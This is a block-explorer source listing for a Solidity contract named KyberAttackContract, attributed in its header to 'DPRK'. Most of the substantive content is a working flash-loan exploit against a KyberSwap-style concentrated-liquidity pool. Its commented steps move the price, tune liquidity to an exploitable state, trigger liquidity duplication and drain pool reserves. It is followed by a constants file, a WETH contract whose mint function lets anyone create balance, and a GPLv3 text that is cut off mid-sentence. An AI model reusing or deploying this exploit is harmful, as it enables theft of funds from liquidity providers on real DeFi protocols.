Source Code
Overview
ETH Balance
0 ETH
Token Holdings
More Info
ContractCreator
Multichain Info
N/A
Loading...
Loading
Contract Name:
KyberAttackContract
Compiler Version
v0.8.9+commit.e5eed63a
Optimization Enabled:
Yes with 500 runs
Other Settings:
london EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: None
pragma solidity 0.8.9;
/**
* @title KyberAttackContract
* @author DPRK
* @notice Glad this chain doesn't have safe blockspace from usefirewall.com ;)
*/
import "./Constants.sol";
import "./WETH9.sol";
import "./Token.sol";
import "./libraries/TickMath.sol";
import "./libraries/SwapMath.sol";
import "./periphery/libraries/LiquidityMath.sol";
import "./interfaces/periphery/IBasePositionManager.sol";
import "./interfaces/IPool.sol";
interface IUniV3Pool {
function token0() external view returns (address);
function token1() external view returns (address);
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
}
contract KyberAttackContract {
// uniswap, used for flashloan
address public uniswapPool;
uint256 public amount = 50_000_000e18;
IBasePositionManager positionManager;
IPool kyberPool;
Token usdt;
Token usdc;
int24 lower = 30000;
int24 upper = lower + 100;
uint256 positionTokenId;
uint128 rangeLiquidity;
uint128 adjustedLiquidity;
uint256 exploitableToken1Amount;
uint160 lowerSqrtP;
uint160 upperSqrtP;
IERC20 poolToken0;
IERC20 poolToken1;
constructor(
address _usdt,
address _usdc,
address _kyberPool,
address _kyberPositionManager,
address _uniswapPool
) {
usdt = Token(_usdt);
usdc = Token(_usdc);
kyberPool = IPool(_kyberPool);
positionManager = IBasePositionManager(_kyberPositionManager);
uniswapPool = _uniswapPool;
// Set lower and upper sqrtPrice using pre-defined lower and upper ticks
lowerSqrtP = TickMath.getSqrtRatioAtTick(lower);
upperSqrtP = TickMath.getSqrtRatioAtTick(upper);
}
function attack() external {
IUniV3Pool(uniswapPool).flash(address(this), amount, amount, "");
}
function uniswapV3FlashCallback(
uint256 amount0,
uint256 amount1,
bytes calldata /*data*/
) external {
poolToken0 = IERC20(kyberPool.token0());
poolToken1 = IERC20(kyberPool.token1());
// Approve position manager to spend our tokens (crucial for mint to work)
usdt.approve(address(positionManager), type(uint256).max);
usdc.approve(address(positionManager), type(uint256).max);
// Move price to lower tick (ensure we're the only LP in range)
_step1();
// Provide and adjust base liquidity to reach exploitable state
_step2_provide_liquidity();
_step2_adjust_liquidity();
// Swap to the upper tick
_step3();
// Trigger liquidity duplication
_step4();
// Realize profit (amplified swap due to doubled liquidity)
kyberPool.swap(address(this), type(int256).max, true, lowerSqrtP, "");
// Additional extraction from the corrupted pool
_step6();
usdt.balanceOf(address(this));
usdc.balanceOf(address(this));
// Repay flashloan + fee
usdt.transfer(uniswapPool, amount + amount0);
usdc.transfer(uniswapPool, amount + amount1);
}
function _step1() internal {
// token1 -> token0, swap to lower tick
kyberPool.swap(
address(this),
type(int256).min,
true,
TickMath.getSqrtRatioAtTick(lower),
""
);
}
function _step2_provide_liquidity() internal {
// Provide a large initial liquidity via the Position Manager
IBasePositionManager.MintParams memory params = IBasePositionManager
.MintParams({
token0: address(poolToken0),
token1: address(poolToken1),
fee: 10,
tickLower: lower,
tickUpper: upper,
ticksPrevious: findNearestInitializedTicks(
IPool(address(kyberPool)),
lower,
upper
),
amount0Desired: 55_000_000 ether, // Over-provide; we will remove the excess later.
amount1Desired: 55_000_000 ether,
amount0Min: 0,
amount1Min: 0,
recipient: address(this),
deadline: block.timestamp
});
(positionTokenId, , , ) = positionManager.mint(params);
}
function _step2_adjust_liquidity() internal {
// Step 2b: Remove the precise portion of base liquidity to reach the exploitable state
(uint128 L, uint128 reinvestL, ) = kyberPool.getLiquidityState();
require(
adjustedLiquidity > reinvestL,
"Adjusted liquidity must be greater than reinvestL"
);
uint128 targetBaseL = adjustedLiquidity - reinvestL;
require(L >= targetBaseL, "Current base liquidity is less than target");
uint128 liquidityToRemove = L - targetBaseL;
// Remove the excess base liquidity via the position manager
positionManager.removeLiquidity(
IBasePositionManager.RemoveLiquidityParams({
tokenId: positionTokenId,
liquidity: liquidityToRemove,
amount0Min: 0,
amount1Min: 0,
deadline: block.timestamp
})
);
// Collect removed tokens from the position manager back to this contract
positionManager.transferAllTokens(
address(poolToken0),
0,
address(this)
);
positionManager.transferAllTokens(
address(poolToken1),
0,
address(this)
);
}
function _step3() internal {
// token1 -> token0, swap to upper tick
kyberPool.swap(
address(this),
int256(exploitableToken1Amount),
false,
TickMath.MAX_SQRT_RATIO - 1,
""
);
}
function _step4() internal {
{
// do a tiny swap(token0 -> token1) to trigger the update of pool liquidity
kyberPool.swap(
address(this),
type(int256).max,
true,
upperSqrtP,
""
);
kyberPool.getLiquidityState();
}
}
function _step6() internal {
// After the main exploit (Steps 1-5), the pool is in a corrupted state:
// - Pool reserves are severely imbalanced (e.g. 90% loss in token0/token1)
// We can swap some of the scarce token to extract more of the abundant token
uint256 poolToken0Before = poolToken0.balanceOf(address(kyberPool));
uint256 poolToken1Before = poolToken1.balanceOf(address(kyberPool));
uint256 attackerToken0Before = poolToken0.balanceOf(address(this));
uint256 attackerToken1Before = poolToken1.balanceOf(address(this));
// Swap 5% of the abundant token balance
uint256 abundantBalance = poolToken1Before > poolToken0Before ? poolToken1Before : poolToken0Before;
uint256 swapAmount = abundantBalance / 20; // 5% = 1/20
if (poolToken1Before > poolToken0Before) {
// Pool has more token1, swap token0 -> token1
kyberPool.swap(
address(this),
int256(swapAmount),
true,
TickMath.MIN_SQRT_RATIO + 1,
""
);
} else {
// Pool has more token0, swap token1 -> token0
kyberPool.swap(
address(this),
int256(swapAmount),
false,
TickMath.MAX_SQRT_RATIO - 1,
""
);
}
}
// Helper function to find the nearest initialized ticks
function findNearestInitializedTicks(
IPool pool,
int24 tickLower,
int24 tickUpper
) internal view returns (int24[2] memory ticksPrevious) {
// Find nearest initialized tick <= tickLower
ticksPrevious[0] = findNearestInitializedTick(pool, tickLower);
// Find nearest initialized tick <= tickUpper
ticksPrevious[1] = findNearestInitializedTick(pool, tickUpper);
return ticksPrevious;
}
// Helper function to find nearest initialized tick <= target
function findNearestInitializedTick(
IPool pool,
int24 target
) internal view returns (int24 nearestTick) {
// Start from target and search backwards for an initialized tick
nearestTick = target;
// Check if target itself is initialized
(int24 previous, int24 next) = pool.initializedTicks(nearestTick);
if (previous != 0 || next != 0) {
return nearestTick;
}
// Search backwards for the nearest initialized tick
if (target > 0) {
// For positive ticks, search down from MAX_TICK
nearestTick = TickMath.MAX_TICK;
while (nearestTick > target) {
(nearestTick, ) = pool.initializedTicks(nearestTick);
if (nearestTick == 0) {
// If we hit 0, it means no more initialized ticks, use MIN_TICK
return TickMath.MIN_TICK;
}
}
} else {
// For negative ticks, search up from MIN_TICK
nearestTick = TickMath.MIN_TICK;
while (nearestTick < target) {
(, nearestTick) = pool.initializedTicks(nearestTick);
if (nearestTick == 0) {
// If we hit 0, it means no more initialized ticks, use MIN_TICK
return TickMath.MIN_TICK;
}
}
// Get the previous tick of the found tick since we want <= target
(nearestTick, ) = pool.initializedTicks(nearestTick);
if (nearestTick == 0) {
return TickMath.MIN_TICK;
}
}
return nearestTick;
}
function setExploitParams(
uint128 _adjustedLiquidity,
uint256 _exploitableToken1Amount
) external {
adjustedLiquidity = _adjustedLiquidity;
exploitableToken1Amount = _exploitableToken1Amount;
}
function mintCallback(uint256 qty0, uint256 qty1, bytes calldata) external {
if (qty0 > 0) poolToken0.transfer(msg.sender, qty0);
if (qty1 > 0) poolToken1.transfer(msg.sender, qty1);
}
function swapCallback(int256 qty0, int256 qty1, bytes calldata) external {
if (qty0 > 0) poolToken0.transfer(msg.sender, uint256(qty0));
if (qty1 > 0) poolToken1.transfer(msg.sender, uint256(qty1));
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
// CHANGE THESE ADDRESSES TO EITHER LOCAL OR TESTNET DEPLOYED ADDRESSES
library Constants {
// Core Contracts
address constant FACTORY = 0xE9B91D557d61Aa0A64f3C52439de0B72b614A8B0;
address constant POOL_ORACLE = 0xCdFbD230eC9AC1fAbebb9CB5B16f9a61bE7b54E5;
// Tokens
address constant WETH = 0xD806f5D1227f6F6fC86f02Ad8Ac110B9A88c90C4;
address constant TEST_TOKEN = 0xF24a0F11271110f248D7039e2cf88F3542c992B6;
uint256 constant TOKEN_MINT_AMOUNT = 100_000 ether; // Amount to mint
uint256 constant INITIAL_LIQUIDITY = 10_000_000 ether; // Amount to add as initial liquidity for each token
// Periphery
address constant POSITION_MANAGER = 0x88a31860cb2AB4B7C97e4489B001900eB9dFf2f8;
address constant ROUTER = 0x66314c020df8a80da2eD25Bc77695B85e1D6aFbB;
address constant TICKS_READER = 0x0700A36c38bFA310554fcbfb89316Da4c8f25243;
// Pool
address constant POOL_ADDRESS = 0x0f409db8707F0F59EeDD6078F94498D2C5F18506;
uint24 constant POOL_FEE = 10;
// Trading
uint256 constant USER_SEED_AMOUNT_WETH = 500_000 ether;
uint256 constant USER_SEED_AMOUNT_TEST_TOKEN = 500_000 ether;
uint256 constant USER_GAS_AMOUNT = 0.001 ether; // Amount of ETH to send for gas
uint256 constant TOTAL_TRADING_OPERATIONS = 40;
uint256 constant NUM_ACCOUNTS_TO_SEED = 50;
}/**
*Submitted for verification at Etherscan.io on 2017-12-12
*/
// Copyright (C) 2015, 2016, 2017 Dapphub
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.8.0;
contract WETH {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
receive() external payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function mint(uint256 amount) public {
balanceOf[msg.sender] += amount;
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
/*
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
